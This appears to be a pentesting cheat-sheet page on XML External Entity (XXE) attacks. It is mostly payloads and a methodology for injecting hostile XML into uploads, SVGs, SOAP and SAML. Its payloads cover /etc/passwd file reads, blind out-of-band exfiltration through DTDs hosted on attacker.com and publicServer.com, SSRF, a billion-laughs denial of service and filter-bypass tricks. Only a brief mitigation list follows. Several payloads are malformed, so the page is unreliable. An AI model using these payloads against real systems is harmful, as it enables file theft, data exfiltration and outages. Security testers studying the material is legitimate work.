XXE

CWE-611: Improper Restriction of XML External Entity Reference

What is XXE (XML External Entity) Vulnerability?

XML External Entity (XXE) is a type of vulnerability that occurs when an application processes user-supplied XML data without properly validating it. In XML, the term Entity refers to a storage unit of data, which can be internal (within the XML document) or external (an external file or URL). An attacker can exploit XXE to:

  • Read arbitrary files on the server (e.g., /etc/passwd).

  • Make requests to internal systems (Server-Side Request Forgery, SSRF).

  • Cause denial of service (DoS) by using large external entities.

  • Exfiltrate data by sending sensitive information to an external entity controlled by the attacker.

There are various types of XXE attacks:

XXE Attack Type
Description

Exploiting XXE to Retrieve Files

Where an external entity is defined containing the contents of a file, and returned in the application's response.

Exploiting XXE to Perform SSRF Attacks

Where an external entity is defined based on a URL to a back-end system.

Exploiting Blind XXE Exfiltrate Data Out-of-Band

Where sensitive data is transmitted from the application server to a system that the attacker controls.

Exploiting blind XXE to Retrieve Data Via Error Messages

Where the attacker can trigger a parsing error message containing sensitive data.

Methodology whitechaitai

  1. Convert the content type from "application/json"/"application/x-www-form-urlencoded" to "applcation/xml".

  2. File Uploads allows for docx/xlcs/pdf/zip , unzip the package and add your evil xml code into the xml files.

  3. If svg allowed in picture upload , you can inject xml in svgs.

  4. If the web app offers RSS feeds , add your milicious code into the RSS.

  5. Fuzz for /soap api , some applications still running soap apis

  6. If the target web app allows for SSO integration, you can inject your milicious xml code in the SAML request/reponse

Test Payload

Using private External Entity#

<?xml version="1.0" ?>
<!DOCTYPE data [
<!ELEMENT data ANY >
<!ENTITY cat "Tom">
]>
<Contact>
<lastName>&cat;</lastName>
<firstName>Jerry</firstName>
</Contact>

Using a public External Entity#

<?xml version="1.0"?>
<!DOCTYPE data [
	<!ELEMENT data ANY >
	<!ENTITY cat SYSTEM "file:///etc/passwd">
]>
<Contact>
<lastName>&cat;</lastName>
<firstName>Jerry</firstName>
</Contact>

CDATA

Exploitation

LFI Test

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>

Blind LFI test (when first case doesn't return anything)

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo>

Access Control bypass (loading restricted resources - PHP example)

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]>
<foo><result>&ac;</result></foo>

SSRF Test

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "<https://www.example.com/text.txt>">]><foo>&xxe;</foo>

XEE (XML Entity Expansion - DOS)

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

XEE #2 (Remote attack - through external xml inclusion)

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY test SYSTEM "<https://example.com/entity1.xml>">]>
<lolz><lol>3..2..1...&test<lol></lolz>

XXE FTP HTTP Server

https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb

http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html

<!DOCTYPE data [
<!ENTITY % remote SYSTEM "<http://publicServer.com/parameterEntity_sendftp.dtd>">
%remote;
%send;
]>
<data>4</data>

File stored on <http://publicServer.com/parameterEntity_sendftp.dtd>

<!ENTITY % param1 "<!ENTITY &#37; send SYSTEM 'ftp://publicServer.com/%payload;'>">
%param1;

XXE UTF-7

<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

To convert between UTF-8 & UTF-7 use recode. recode UTF8..UTF7 payload-file.xml

Bypassing Filters that Block "ENTITY":

If a web application is filtering or blocking the word "ENTITY" to prevent XXE attacks, there are several bypass techniques you can try:

1. Case Manipulation:

  • Some filters are case-sensitive and may only block the exact string ENTITY in uppercase. You can try different cases, such as:

    <!DOCTYPE foo [ 
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
    ]>

    Test variations like:

    • <!entity>

    • <!EnTiTy>

2. Use Parameter Entities:

  • Instead of defining an external entity directly, you can use parameter entities (which start with %) to indirectly reference the malicious entity:

    <?xml version="1.0" ?>
    <!DOCTYPE foo [ 
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % dtd SYSTEM "http://attacker.com/malicious.dtd">
    %dtd;
    ]>
    <foo>&xxe;</foo>

    The malicious .dtd file hosted on attacker.com could contain the payload for reading a file.

3. Hex Encoding:

  • Sometimes, filters may miss encoded characters. You can try encoding the word ENTITY using its hexadecimal or decimal representation in XML:

    <!DOCTYPE foo [ 
    <!&#69;&#78;&#84;&#73;&#84;&#89; xxe SYSTEM "file:///etc/passwd">
    ]>

    This encodes "ENTITY" in decimal (69 for 'E', 78 for 'N', etc.). In hex, it would be <!&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59; xxe SYSTEM "file:///etc/passwd">.

4. Using DTD Chaining:

  • If you have control over external DTDs, you can chain DTDs to bypass filters. This involves referencing a remote DTD file hosted by the attacker:

    <!DOCTYPE foo [ 
    <!ENTITY % remote SYSTEM "http://attacker.com/external.dtd">
    %remote;
    ]>

    The external DTD file (external.dtd) can define the malicious entity, bypassing local filters.

5. XML Comments:

  • Sometimes filters miss entities hidden inside XML comments. You can obfuscate the payload by breaking the word ENTITY into parts:

    <!DOCTYPE foo [ 
    <!--<!ENTITY xxe SYSTEM "file:///etc/passwd">-->
    <!ENT--><!--ITY xxe SYSTEM "file:///etc/passwd">-->
    ]>

6. Base64 Encoding:

  • You might be able to encode the payload and then decode it at runtime. Some parsers allow you to inject base64-encoded external entities and decode them:

    <!DOCTYPE foo [ 
    <!ENTITY xxe SYSTEM "data:text/plain;base64,L2V0Yy9wYXNzd2Q=">
    ]>
    <foo>&xxe;</foo>

    This base64 string decodes to /etc/passwd.

7. Alternative External Sources (e.g., SYSTEM or PUBLIC):

  • Instead of using ENTITY, try to reference external files or URLs using alternative methods. For example:

    <!DOCTYPE foo PUBLIC "-//OASIS//DTD Entity Resolution XML//EN" "http://attacker.com/malicious.dtd">

    Here, the external DTD contains the payload, and you avoid using the ENTITY keyword.

Mitigation:

From a defensive perspective, to mitigate XXE attacks:

  • Disable external entity processing in XML parsers where it's not needed.

  • Use whitelisting for acceptable file or URL references in XML files.

  • Implement input validation to ensure only valid, trusted XML is processed.

  • Ensure your application is updated to use parsers that are not vulnerable to XXE by default.

References :

πŸ‘‰ XML External Entity (XXE) Processing

πŸ‘‰ XML External Entity Prevention Cheat Sheet

πŸ‘‰ Testing for XML Injection (OTG-INPVAL-008)

Top XXE reports from HackerOne:

  1. XXE on pulse.mail.ru to Mail.ru - 263 upvotes, $6000

  2. XXE on sms-be-vip.twitter.com in SXMP Processor to Twitter - 250 upvotes, $10080

  3. XXE on https://duckduckgo.com to DuckDuckGo - 209 upvotes, $0

  4. Phone Call to XXE via Interactive Voice Response to β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ - 170 upvotes, $0

  5. XXE in DoD website that may lead to RCE to U.S. Dept Of Defense - 89 upvotes, $0

  6. Blind XXE via Powerpoint files to Open-Xchange - 86 upvotes, $2000

  7. blind XXE in autodiscover parser to Mail.ru - 70 upvotes, $5000

  8. LFI and SSRF via XXE in emblem editor to Rockstar Games - 68 upvotes, $1500

  9. XXE Π½Π° webdav.mail.ru - PROPFIND/PROPPATCH to Mail.ru - 54 upvotes, $10000

  10. [rev-app.informatica.com] - XXE to Informatica - 44 upvotes, $0

  11. Authenticated XXE to WordPress - 39 upvotes, $600

  12. XML Parser Bug: XXE over which leads to RCE to drchrono - 32 upvotes, $700

  13. XXE on DoD web server to U.S. Dept Of Defense - 31 upvotes, $0

  14. [app.informaticaondemand.com] XXE to Informatica - 24 upvotes, $0

  15. Blind XXE on my.mail.ru to Mail.ru - 23 upvotes, $800

  16. XXE in upload file feature to Informatica - 21 upvotes, $0

Last updated

Was this helpful?